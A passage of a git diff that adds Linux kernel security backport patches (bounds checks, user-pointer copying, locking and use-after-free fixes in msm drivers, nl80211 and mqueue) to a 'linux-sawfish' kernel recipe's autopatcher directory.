audio_effects_set_pp_param(effects, argvalues); ++ mutex_unlock(&effects->lock); + break; + } + case AUDIO_START32: { +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0258-89e6c2d38405-msm mdss validate page id before reading from edid buffer.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0258-89e6c2d38405-msm mdss validate page id before reading from edid buffer.patch new file mode 100644 index 0000000..0870724 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0258-89e6c2d38405-msm mdss validate page id before reading from edid buffer.patch @@ -0,0 +1,67 @@ +From 89e6c2d38405cdeefaa278cbf6d18791f255ee5e Mon Sep 17 00:00:00 2001 +From: Ashish Garg +Date: Mon, 5 Jun 2017 17:36:46 +0530 +Subject: msm: mdss: validate page id before reading from edid buffer + +Provide complete resolution details in a sysfs node "res_info" +limited to PAGE_SIZE. Different modules can query for multiple +resolution details based on the resolution ids received from +EDID of the TV. In case resolution details exceed PAGE_SIZE, +reuse res_info to get remaining timing details by provide page +details. Check page id is within the max supported resolution +ids to avoid reading extra memory than required. + +Change-Id: I7cdd071ba462080fe5bb302d0da824ed95b50f15 +Signed-off-by: Ashish Garg +--- + drivers/video/msm/mdss/mdss_hdmi_edid.c | 21 +++++++++++++++++++-- + 1 file changed, 19 insertions(+), 2 deletions(-) + +diff --git a/drivers/video/msm/mdss/mdss_hdmi_edid.c b/drivers/video/msm/mdss/mdss_hdmi_edid.c +index 36c2430..1e9d97d 100644 +--- a/drivers/video/msm/mdss/mdss_hdmi_edid.c ++++ b/drivers/video/msm/mdss/mdss_hdmi_edid.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2010-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2010-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -460,8 +460,10 @@ static ssize_t hdmi_edid_sysfs_wta_res_info(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) + { + int rc, page_id; ++ u32 i = 0, j, page; + ssize_t ret = strnlen(buf, PAGE_SIZE); + struct hdmi_edid_ctrl *edid_ctrl = hdmi_edid_get_ctrl(dev); ++ struct msm_hdmi_mode_timing_info info = {0}; + + if (!edid_ctrl) { + DEV_ERR("%s: invalid input\n", __func__); +@@ -474,7 +476,22 @@ static ssize_t hdmi_edid_sysfs_wta_res_info(struct device *dev, + return rc; + } + +- edid_ctrl->page_id = page_id; ++ if (page_id > MSM_HDMI_INIT_RES_PAGE) { ++ page = MSM_HDMI_INIT_RES_PAGE; ++ while (page < page_id) { ++ j = 1; ++ while (sizeof(info) * j < PAGE_SIZE) { ++ i++; ++ j++; ++ } ++ page++; ++ } ++ } ++ ++ if (i < HDMI_VFRMT_MAX) ++ edid_ctrl->page_id = page_id; ++ else ++ DEV_ERR("%s: invalid page id\n", __func__); + + DEV_DBG("%s: %d\n", __func__, edid_ctrl->page_id); + return ret; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0259-2720294757d0-soc qcom Initialize message pointer with NULL.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0259-2720294757d0-soc qcom Initialize message pointer with NULL.patch new file mode 100644 index 0000000..117f5ef --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0259-2720294757d0-soc qcom Initialize message pointer with NULL.patch @@ -0,0 +1,33 @@ +From 2720294757d0ad5294283c15dc837852f7b2329a Mon Sep 17 00:00:00 2001 +From: Gaurav Kohli +Date: Thu, 4 Aug 2016 17:40:15 +0530 +Subject: soc: qcom: Initialize message pointer with NULL + +During service locator call there is a chance in which +resp message is used or freed while uninitialized.So to +prevent it initialize the same with NULL. + +Change-Id: I65f854e184606684ce2ca711f19cf61d26c1ecb5 +Signed-off-by: Gaurav Kohli +--- + drivers/soc/qcom/service-locator.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/soc/qcom/service-locator.c b/drivers/soc/qcom/service-locator.c +index 76d754d..c204947 100644 +--- a/drivers/soc/qcom/service-locator.c ++++ b/drivers/soc/qcom/service-locator.c +@@ -202,8 +202,8 @@ static int servreg_loc_send_msg(struct msg_desc *req_desc, + static int service_locator_send_msg(struct pd_qmi_client_data *pd) + { + struct msg_desc req_desc, resp_desc; +- struct qmi_servreg_loc_get_domain_list_resp_msg_v01 *resp; +- struct qmi_servreg_loc_get_domain_list_req_msg_v01 *req; ++ struct qmi_servreg_loc_get_domain_list_resp_msg_v01 *resp = NULL; ++ struct qmi_servreg_loc_get_domain_list_req_msg_v01 *req = NULL; + int rc; + int db_rev_count = 0, domains_read = 0; + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0260-f90aa1b061b9-msm gsi fix memory corruption from debugfs.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0260-f90aa1b061b9-msm gsi fix memory corruption from debugfs.patch new file mode 100644 index 0000000..f4dc4c1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0260-f90aa1b061b9-msm gsi fix memory corruption from debugfs.patch @@ -0,0 +1,37 @@ +From f90aa1b061b9d788833e343563fbac3e7f79ad12 Mon Sep 17 00:00:00 2001 +From: Skylar Chang +Date: Tue, 2 Aug 2016 18:16:59 -0700 +Subject: msm: gsi: fix memory corruption from debugfs + +Fix to GSI reset stats logic to clear the correct stats per channel + +Change-Id: I94ae8c769ec2868a291e75a2f47c85bd8a449937 +CRs-Fixed: 1046484, 2059810 +Acked-by: Ady Abraham +Signed-off-by: Skylar Chang +--- + drivers/platform/msm/gsi/gsi_dbg.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +diff --git a/drivers/platform/msm/gsi/gsi_dbg.c b/drivers/platform/msm/gsi/gsi_dbg.c +index bd8cdf3..2ab8b79 100644 +--- a/drivers/platform/msm/gsi/gsi_dbg.c ++++ b/drivers/platform/msm/gsi/gsi_dbg.c +@@ -653,11 +653,11 @@ static ssize_t gsi_rst_stats(struct file *file, + } else if (ch_id < 0 || ch_id >= GSI_MAX_CHAN || + !gsi_ctx->chan[ch_id].allocated) { + goto error; ++ } else { ++ min = ch_id; ++ max = ch_id + 1; + } + +- min = ch_id; +- max = ch_id + 1; +- + for (ch_id = min; ch_id < max; ch_id++) + memset(&gsi_ctx->chan[ch_id].stats, 0, + sizeof(gsi_ctx->chan[ch_id].stats)); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0261-c9f4aa94626a-msm camera sensor Validate destination step position.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0261-c9f4aa94626a-msm camera sensor Validate destination step position.patch new file mode 100644 index 0000000..933cd79 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0261-c9f4aa94626a-msm camera sensor Validate destination step position.patch @@ -0,0 +1,44 @@ +From c9f4aa94626a6482fdcc071885e07257105b1ece Mon Sep 17 00:00:00 2001 +From: Rajesh Bondugula +Date: Tue, 7 Feb 2017 10:17:25 -0800 +Subject: msm: camera: sensor: Validate destination step position + +dest_step_position is sent from userspace and is used in +kernel to calculate the final DAC value. +dest_step_position must be validated against total steps. +Actuator will have an unexpected behavior if lens value is +programed to actuator based on invalid dest_step_position. + +CRs-Fixed: 1102580 +Change-Id: Idcd97043d3bd583d8577233d446a99d1829a4ee6 +Signed-off-by: Rajesh Bondugula +--- + .../media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c | 8 +++++++- + 1 file changed, 7 insertions(+), 1 deletion(-) + +diff --git a/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c b/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c +index ce18864..9df158d 100644 +--- a/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c ++++ b/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2011-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2011-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -528,6 +528,12 @@ static int32_t msm_actuator_piezo_move_focus( + return -EFAULT; + } + ++ if (dest_step_position > a_ctrl->total_steps) { ++ pr_err("Step pos greater than total steps = %d\n", ++ dest_step_position); ++ return -EFAULT; ++ } ++ + a_ctrl->i2c_tbl_index = 0; + a_ctrl->func_tbl->actuator_parse_i2c_params(a_ctrl, + (num_steps * +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0262-6c815ebc37f4-msm camera Make use of mutex lock to avoid race condition.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0262-6c815ebc37f4-msm camera Make use of mutex lock to avoid race condition.patch new file mode 100644 index 0000000..96e3a36 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0262-6c815ebc37f4-msm camera Make use of mutex lock to avoid race condition.patch @@ -0,0 +1,41 @@ +From 6c815ebc37f49e4e3edb10def9c45f2fd9362a84 Mon Sep 17 00:00:00 2001 +From: annamraj +Date: Wed, 19 Jul 2017 16:52:55 +0530 +Subject: msm: camera: Make use of mutex lock to avoid race condition + +Make use of mutex lock to access IOCTL so that two threads +can avoid race condition. + +Change-Id: I00db78a42c86eef8a157b5b3547e4ca0006b0853 +Signed-off-by: annamraj +--- + drivers/media/platform/msm/camera_v2/fd/msm_fd_dev.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/drivers/media/platform/msm/camera_v2/fd/msm_fd_dev.c b/drivers/media/platform/msm/camera_v2/fd/msm_fd_dev.c +index 3d5dd3e..1377eb2 100644 +--- a/drivers/media/platform/msm/camera_v2/fd/msm_fd_dev.c ++++ b/drivers/media/platform/msm/camera_v2/fd/msm_fd_dev.c +@@ -1055,14 +1055,18 @@ static int msm_fd_s_ctrl(struct file *file, void *fh, struct v4l2_control *a) + a->value = ctx->format.size->work_size; + break; + case V4L2_CID_FD_WORK_MEMORY_FD: ++ mutex_lock(&ctx->fd_device->recovery_lock); + if (ctx->work_buf.fd != -1) + msm_fd_hw_unmap_buffer(&ctx->work_buf); + if (a->value >= 0) { + ret = msm_fd_hw_map_buffer(&ctx->mem_pool, + a->value, &ctx->work_buf); +- if (ret < 0) ++ if (ret < 0) { ++ mutex_unlock(&ctx->fd_device->recovery_lock); + return ret; ++ } + } ++ mutex_unlock(&ctx->fd_device->recovery_lock); + break; + default: + return -EINVAL; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0263-5ff192e2c758-PATCH ASoC msm qdsp6v2 add size check to fix out of bounds issue.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0263-5ff192e2c758-PATCH ASoC msm qdsp6v2 add size check to fix out of bounds issue.patch new file mode 100644 index 0000000..497d4f6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0263-5ff192e2c758-PATCH ASoC msm qdsp6v2 add size check to fix out of bounds issue.patch @@ -0,0 +1,48 @@ +From 5ff192e2c758298680b0c6cd364a55c59850901f Mon Sep 17 00:00:00 2001 +From: Vidyakumar Athota +Date: Tue, 20 Jun 2017 16:39:00 -0700 +Subject: [PATCH] ASoC: msm: qdsp6v2: add size check to fix out of bounds issue + +Before calling audio calibration ioctl functions, compare the +allocated buffer size to the size of the header and cal type header +to ensure the buffer is big enough. + +Bug: 37623773 +Change-Id: I601bb37ddcc34d459c207cf579f29744fe912d7b +Signed-off-by: Vidyakumar Athota +--- + sound/soc/msm/qdsp6v2/audio_calibration.c | 14 +++++++------- + 1 file changed, 7 insertions(+), 7 deletions(-) + +diff --git a/sound/soc/msm/qdsp6v2/audio_calibration.c b/sound/soc/msm/qdsp6v2/audio_calibration.c +index 60d09dfaeb7f7..2a1b34776b686 100644 +--- a/sound/soc/msm/qdsp6v2/audio_calibration.c ++++ b/sound/soc/msm/qdsp6v2/audio_calibration.c +@@ -453,6 +453,12 @@ static long audio_cal_shared_ioctl(struct file *file, unsigned int cmd, + data->cal_type.cal_hdr.buffer_number); + ret = -EINVAL; + goto done; ++ } else if ((data->hdr.cal_type_size + sizeof(data->hdr)) > size) { ++ pr_err("%s: cal type hdr size %zd + cal type size %d is greater than user buffer size %d\n", ++ __func__, sizeof(data->hdr), data->hdr.cal_type_size, ++ size); ++ ret = -EFAULT; ++ goto done; + } + + +@@ -490,13 +496,7 @@ static long audio_cal_shared_ioctl(struct file *file, unsigned int cmd, + goto unlock; + if (data == NULL) + goto unlock; +- if ((sizeof(data->hdr) + data->hdr.cal_type_size) > size) { +- pr_err("%s: header size %zd plus cal type size %d are greater than data buffer size %d\n", +- __func__, sizeof(data->hdr), +- data->hdr.cal_type_size, size); +- ret = -EFAULT; +- goto unlock; +- } else if (copy_to_user((void *)arg, data, ++ if (copy_to_user(arg, data, + sizeof(data->hdr) + data->hdr.cal_type_size)) { + pr_err("%s: Could not copy cal type to user\n", + __func__); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0264-e535df239e7f-PATCH msm mdss Avoid direct dereference user input in pp cache.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0264-e535df239e7f-PATCH msm mdss Avoid direct dereference user input in pp cache.patch new file mode 100644 index 0000000..3232cff --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0264-e535df239e7f-PATCH msm mdss Avoid direct dereference user input in pp cache.patch @@ -0,0 +1,88 @@ +From e535df239e7f4a4600194a6686c33a17e5116ba4 Mon Sep 17 00:00:00 2001 +From: "Sravan Kumar D.V.N" +Date: Fri, 23 Jun 2017 20:15:13 +0530 +Subject: [PATCH] msm: mdss: Avoid direct dereference user input in pp cache + config + +Eliminate direct dereferencing of user input pointer in pp cache +config functions. + +Bug: 64728948 +Change-Id: Ia07a0ecc3b4839635cbd9c2f635c1f713783683c +CRs-Fixed: 2057285 +Signed-off-by: Sravan Kumar D.V.N +--- + drivers/video/msm/mdss/mdss_mdp_pp_cache_config.c | 34 +++++++++++++++++------ + 1 file changed, 25 insertions(+), 9 deletions(-) + +diff --git a/drivers/video/msm/mdss/mdss_mdp_pp_cache_config.c b/drivers/video/msm/mdss/mdss_mdp_pp_cache_config.c +index ab178ae45cf86..4252c9cdd6f5b 100644 +--- a/drivers/video/msm/mdss/mdss_mdp_pp_cache_config.c ++++ b/drivers/video/msm/mdss/mdss_mdp_pp_cache_config.c +@@ -1,5 +1,5 @@ + /* +- * Copyright (c) 2014-2016, The Linux Foundation. All rights reserved. ++ * Copyright (c) 2014-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -185,8 +185,12 @@ static int pp_hist_lut_cache_params_pipe_v1_7(struct mdp_hist_lut_data *config, + return -EINVAL; + } + +- memcpy(&hist_lut_usr_config, config->cfg_payload, +- sizeof(struct mdp_hist_lut_data_v1_7)); ++ if (copy_from_user(&hist_lut_usr_config, ++ (void __user *) config->cfg_payload, ++ sizeof(hist_lut_usr_config))) { ++ pr_err("failed to copy hist lut config\n"); ++ return -EFAULT; ++ } + + hist_lut_cache_data = pipe->pp_res.hist_lut_cfg_payload; + if (!hist_lut_cache_data) { +@@ -597,8 +601,12 @@ static int pp_pcc_cache_params_pipe_v1_7(struct mdp_pcc_cfg_data *config, + return -EINVAL; + } + +- memcpy(&v17_usr_config, config->cfg_payload, +- sizeof(v17_usr_config)); ++ if (copy_from_user(&v17_usr_config, ++ (void __user *) config->cfg_payload, ++ sizeof(v17_usr_config))) { ++ pr_err("failed to copy pcc config\n"); ++ return -EFAULT; ++ } + + if (!(config->ops & MDP_PP_OPS_WRITE)) { + pr_debug("write ops not set value of flag is %d\n", +@@ -852,8 +860,12 @@ static int pp_igc_lut_cache_params_pipe_v1_7(struct mdp_igc_lut_data *config, + goto igc_config_exit; + } + +- memcpy(&v17_usr_config, config->cfg_payload, +- sizeof(v17_usr_config)); ++ if (copy_from_user(&v17_usr_config, ++ (void __user *) config->cfg_payload, ++ sizeof(v17_usr_config))) { ++ pr_err("failed to copy igc config\n"); ++ return -EFAULT; ++ } + + if (!(config->ops & MDP_PP_OPS_WRITE)) { + pr_debug("op for gamut %d\n", config->ops); +@@ -1248,8 +1260,12 @@ static int pp_pa_cache_params_pipe_v1_7(struct mdp_pa_v2_cfg_data *config, + return -EINVAL; + } + +- memcpy(&pa_usr_config, config->cfg_payload, +- sizeof(struct mdp_pa_data_v1_7)); ++ if (copy_from_user(&pa_usr_config, ++ (void __user *) config->cfg_payload, ++ sizeof(pa_usr_config))) { ++ pr_err("failed to copy pa usr config\n"); ++ return -EFAULT; ++ } + + pa_cache_data = pipe->pp_res.pa_cfg_payload; + if (!pa_cache_data) { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0265-a138455bd35a-msm mdss Add check for fence count.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0265-a138455bd35a-msm mdss Add check for fence count.patch new file mode 100644 index 0000000..cea43ca --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0265-a138455bd35a-msm mdss Add check for fence count.patch @@ -0,0 +1,36 @@ +From a138455bd35a7f3ccfb77a6eb309733c43a229fd Mon Sep 17 00:00:00 2001 +From: Krishna Manikandan +Date: Fri, 30 Jun 2017 11:49:47 +0530 +Subject: msm: mdss: Add check for fence count + +Add a check to ensure that the acquire fence count +does not exceed the maximum possible value. + +Change-Id: I7198899be2d720214152d49fdbb6b6a69750fb3a +Signed-off-by: Krishna Manikandan +--- + drivers/video/msm/mdss/mdss_mdp_layer.c | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/drivers/video/msm/mdss/mdss_mdp_layer.c b/drivers/video/msm/mdss/mdss_mdp_layer.c +index 6214afc..3ff446c 100644 +--- a/drivers/video/msm/mdss/mdss_mdp_layer.c ++++ b/drivers/video/msm/mdss/mdss_mdp_layer.c +@@ -2234,6 +2234,14 @@ int mdss_mdp_layer_pre_commit_wfd(struct msm_fb_data_type *mfd, + sync_pt_data = &mfd->mdp_sync_pt_data; + mutex_lock(&sync_pt_data->sync_mutex); + count = sync_pt_data->acq_fen_cnt; ++ ++ if (count >= MDP_MAX_FENCE_FD) { ++ pr_err("Reached maximum possible value for fence count\n"); ++ mutex_unlock(&sync_pt_data->sync_mutex); ++ rc = -EINVAL; ++ goto input_layer_err; ++ } ++ + sync_pt_data->acq_fen[count] = fence; + sync_pt_data->acq_fen_cnt++; + mutex_unlock(&sync_pt_data->sync_mutex); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0266-f43e2f086663-msm camera sensorvalidating the flash initialization parameters.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0266-f43e2f086663-msm camera sensorvalidating the flash initialization parameters.patch new file mode 100644 index 0000000..cd652de --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0266-f43e2f086663-msm camera sensorvalidating the flash initialization parameters.patch @@ -0,0 +1,98 @@ +From f43e2f0866638cf81c0a1749676d1feb91ad1532 Mon Sep 17 00:00:00 2001 +From: kaiwang +Date: Tue, 27 Jun 2017 19:29:03 +0800 +Subject: msm: camera: sensor:validating the flash initialization parameters + +Copying the flash initialization parameters from userspace memory to +kernel memory and in turn checking for the validity of the flash +initialization parameters pointer sent from userspace + +CRs-Fixed: 2059812 +Change-Id: I957c10959108eb08b263d439a9a449b90338b6db +Signed-off-by: kaiwang +--- + .../msm/camera_v2/sensor/flash/msm_flash.c | 50 ++++++++++++++++------ + 1 file changed, 36 insertions(+), 14 deletions(-) + +diff --git a/drivers/media/platform/msm/camera_v2/sensor/flash/msm_flash.c b/drivers/media/platform/msm/camera_v2/sensor/flash/msm_flash.c +index 22563da..5af0a6a 100644 +--- a/drivers/media/platform/msm/camera_v2/sensor/flash/msm_flash.c ++++ b/drivers/media/platform/msm/camera_v2/sensor/flash/msm_flash.c +@@ -501,22 +501,44 @@ static int32_t msm_flash_init( + return 0; + } + +-#ifdef CONFIG_COMPAT + static int32_t msm_flash_init_prepare( + struct msm_flash_ctrl_t *flash_ctrl, + struct msm_flash_cfg_data_t *flash_data) + { ++#ifdef CONFIG_COMPAT ++ struct msm_flash_cfg_data_t flash_data_k; ++ struct msm_flash_init_info_t flash_init_info; ++ int32_t i = 0; ++ if(!is_compat_task()) { ++ /*for 64-bit usecase,it need copy the data to local memory*/ ++ flash_data_k.cfg_type = flash_data->cfg_type; ++ for (i = 0; i < MAX_LED_TRIGGERS; i++) { ++ flash_data_k.flash_current[i] = ++ flash_data->flash_current[i]; ++ flash_data_k.flash_duration[i] = ++ flash_data->flash_duration[i]; ++ } ++ ++ flash_data_k.cfg.flash_init_info = &flash_init_info; ++ if (copy_from_user(&flash_init_info, ++ (void *)(flash_data->cfg.flash_init_info), ++ sizeof(struct msm_flash_init_info_t))) { ++ pr_err("%s copy_from_user failed %d\n", ++ __func__, __LINE__); ++ return -EFAULT; ++ } ++ return msm_flash_init(flash_ctrl, &flash_data_k); ++ } ++ /* ++ * for 32-bit usecase,it already copy the userspace ++ * data to local memory in msm_flash_subdev_do_ioctl() ++ * so here do not need copy from user ++ */ + return msm_flash_init(flash_ctrl, flash_data); +-} + #else +-static int32_t msm_flash_init_prepare( +- struct msm_flash_ctrl_t *flash_ctrl, +- struct msm_flash_cfg_data_t *flash_data) +-{ + struct msm_flash_cfg_data_t flash_data_k; + struct msm_flash_init_info_t flash_init_info; + int32_t i = 0; +- + flash_data_k.cfg_type = flash_data->cfg_type; + for (i = 0; i < MAX_LED_TRIGGERS; i++) { + flash_data_k.flash_current[i] = +@@ -527,15 +549,15 @@ static int32_t msm_flash_init_prepare( + + flash_data_k.cfg.flash_init_info = &flash_init_info; + if (copy_from_user(&flash_init_info, +- (void *)(flash_data->cfg.flash_init_info), +- sizeof(struct msm_flash_init_info_t))) { +- pr_err("%s copy_from_user failed %d\n", +- __func__, __LINE__); +- return -EFAULT; +- } ++ (void *)(flash_data->cfg.flash_init_info), ++ sizeof(struct msm_flash_init_info_t))) { ++ pr_err("%s copy_from_user failed %d\n", ++ __func__, __LINE__); ++ return -EFAULT; ++ } + return msm_flash_init(flash_ctrl, &flash_data_k); +-} + #endif ++} + + static int32_t msm_flash_low( + struct msm_flash_ctrl_t *flash_ctrl, +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0267-55520ec2ca6a-cfg80211 Define nlapolicy for NL80211ATTRLOCALMESHPOWERMODE.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0267-55520ec2ca6a-cfg80211 Define nlapolicy for NL80211ATTRLOCALMESHPOWERMODE.patch new file mode 100644 index 0000000..2a709d6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0267-55520ec2ca6a-cfg80211 Define nlapolicy for NL80211ATTRLOCALMESHPOWERMODE.patch @@ -0,0 +1,38 @@ +From 55520ec2ca6a85ab1e2a51210f414cf0f9f5fe7a Mon Sep 17 00:00:00 2001 +From: Srinivas Dasari +Date: Fri, 7 Jul 2017 01:43:41 +0300 +Subject: cfg80211: Define nla_policy for NL80211_ATTR_LOCAL_MESH_POWER_MODE + +commit 8feb69c7bd89513be80eb19198d48f154b254021 upstream. + +Buffer overread may happen as nl80211_set_station() reads 4 bytes +from the attribute NL80211_ATTR_LOCAL_MESH_POWER_MODE without +validating the size of data received when userspace sends less +than 4 bytes of data with NL80211_ATTR_LOCAL_MESH_POWER_MODE. +Define nla_policy for NL80211_ATTR_LOCAL_MESH_POWER_MODE to avoid +the buffer overread. + +Fixes: 3b1c5a5307f ("{cfg,nl}80211: mesh power mode primitives and userspace access") +Signed-off-by: Srinivas Dasari +Signed-off-by: Jouni Malinen +Signed-off-by: Johannes Berg +Signed-off-by: Greg Kroah-Hartman +--- + net/wireless/nl80211.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/net/wireless/nl80211.c b/net/wireless/nl80211.c +index 7f9a3c932d5bb..33346206540c9 100644 +--- a/net/wireless/nl80211.c ++++ b/net/wireless/nl80211.c +@@ -358,6 +358,7 @@ static const struct nla_policy nl80211_policy[NL80211_ATTR_MAX+1] = { + [NL80211_ATTR_SCAN_FLAGS] = { .type = NLA_U32 }, + [NL80211_ATTR_P2P_CTWINDOW] = { .type = NLA_U8 }, + [NL80211_ATTR_P2P_OPPPS] = { .type = NLA_U8 }, ++ [NL80211_ATTR_LOCAL_MESH_POWER_MODE] = {. type = NLA_U32 }, + [NL80211_ATTR_ACL_POLICY] = {. type = NLA_U32 }, + [NL80211_ATTR_MAC_ADDRS] = { .type = NLA_NESTED }, + [NL80211_ATTR_STA_CAPABILITY] = { .type = NLA_U16 }, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0268.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0268.diff new file mode 100644 index 0000000..e311676 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0268.diff @@ -0,0 +1,14 @@ +diff --git a/net/wireless/nl80211.c b/net/wireless/nl80211.c +index 5112673..78b6f74 100644 +--- a/net/wireless/nl80211.c ++++ b/net/wireless/nl80211.c +@@ -310,8 +310,7 @@ + [NL80211_ATTR_WPA_VERSIONS] = { .type = NLA_U32 }, + [NL80211_ATTR_PID] = { .type = NLA_U32 }, + [NL80211_ATTR_4ADDR] = { .type = NLA_U8 }, +- [NL80211_ATTR_PMKID] = { .type = NLA_BINARY, +- .len = WLAN_PMKID_LEN }, ++ [NL80211_ATTR_PMKID] = { .len = WLAN_PMKID_LEN }, + [NL80211_ATTR_DURATION] = { .type = NLA_U32 }, + [NL80211_ATTR_COOKIE] = { .type = NLA_U64 }, + [NL80211_ATTR_TX_RATES] = { .type = NLA_NESTED }, diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0269-072d53b2ca00-PATCH msm mdss hdmi validate HDMI EDIDs max number of CEA.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0269-072d53b2ca00-PATCH msm mdss hdmi validate HDMI EDIDs max number of CEA.patch new file mode 100644 index 0000000..c9a4bd4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0269-072d53b2ca00-PATCH msm mdss hdmi validate HDMI EDIDs max number of CEA.patch @@ -0,0 +1,35 @@ +From 072d53b2ca00ac57ca4e0ebe2315b431256cf786 Mon Sep 17 00:00:00 2001 +From: Narender Ankam +Date: Wed, 23 Aug 2017 15:55:50 +0530 +Subject: [PATCH] msm: mdss: hdmi: validate HDMI EDID's max number of CEA + blocks + +No upper-bound validation is performed when reading number of +extended CEA blocks from the untrusted source (EDID). Add a check +to limit the number of CEA extension blocks. + +Bug: 37625232 +Change-Id: I69f09ed0ad28a4c267cf3e8f7a12efe46f75e244 +Signed-off-by: Narender Ankam +--- + drivers/video/msm/mdss/mdss_hdmi_edid.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/drivers/video/msm/mdss/mdss_hdmi_edid.c b/drivers/video/msm/mdss/mdss_hdmi_edid.c +index 36c24302658d8..5c8f52c42302c 100644 +--- a/drivers/video/msm/mdss/mdss_hdmi_edid.c ++++ b/drivers/video/msm/mdss/mdss_hdmi_edid.c +@@ -2180,6 +2180,13 @@ int hdmi_edid_parser(void *input) + goto bail; + } + ++ /* Find out if CEA extension blocks exceeding max limit */ ++ if (num_of_cea_blocks >= MAX_EDID_BLOCKS) { ++ DEV_WARN("%s: HDMI EDID exceeded max CEA blocks limit\n", ++ __func__); ++ num_of_cea_blocks = MAX_EDID_BLOCKS - 1; ++ } ++ + /* check for valid CEA block */ + if (edid_buf[EDID_BLOCK_SIZE] != 2) { + DEV_ERR("%s: Invalid CEA block\n", __func__); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0270-7eaa7e5baa0f-mqueue fix a useafterfree in sysmqnotify.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0270-7eaa7e5baa0f-mqueue fix a useafterfree in sysmqnotify.patch new file mode 100644 index 0000000..4d83249 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0270-7eaa7e5baa0f-mqueue fix a useafterfree in sysmqnotify.patch @@ -0,0 +1,51 @@ +From 7eaa7e5baa0ffb3b6ca28798f0e014f43c004f47 Mon Sep 17 00:00:00 2001 +From: Cong Wang +Date: Sun, 9 Jul 2017 13:19:55 -0700 +Subject: mqueue: fix a use-after-free in sys_mq_notify() + +commit f991af3daabaecff34684fd51fac80319d1baad1 upstream. + +The retry logic for netlink_attachskb() inside sys_mq_notify() +is nasty and vulnerable: + +1) The sock refcnt is already released when retry is needed +2) The fd is controllable by user-space because we already + release the file refcnt + +so we when retry but the fd has been just closed by user-space +during this small window, we end up calling netlink_detachskb() +on the error path which releases the sock again, later when +the user-space closes this socket a use-after-free could be +triggered. + +Setting 'sock' to NULL here should be sufficient to fix it. + +Reported-by: GeneBlue +Signed-off-by: Cong Wang +Cc: Andrew Morton +Cc: Manfred Spraul +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + ipc/mqueue.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/ipc/mqueue.c b/ipc/mqueue.c +index f65a044d66c5..ebe44a53fe5a 100644 +--- a/ipc/mqueue.c ++++ b/ipc/mqueue.c +@@ -1239,8 +1239,10 @@ retry: + + timeo = MAX_SCHEDULE_TIMEOUT; + ret = netlink_attachskb(sock, nc, &timeo, NULL); +- if (ret == 1) ++ if (ret == 1) { ++ sock = NULL; + goto retry; ++ } + if (ret) { + sock = NULL; + nc = NULL; +-- +cgit 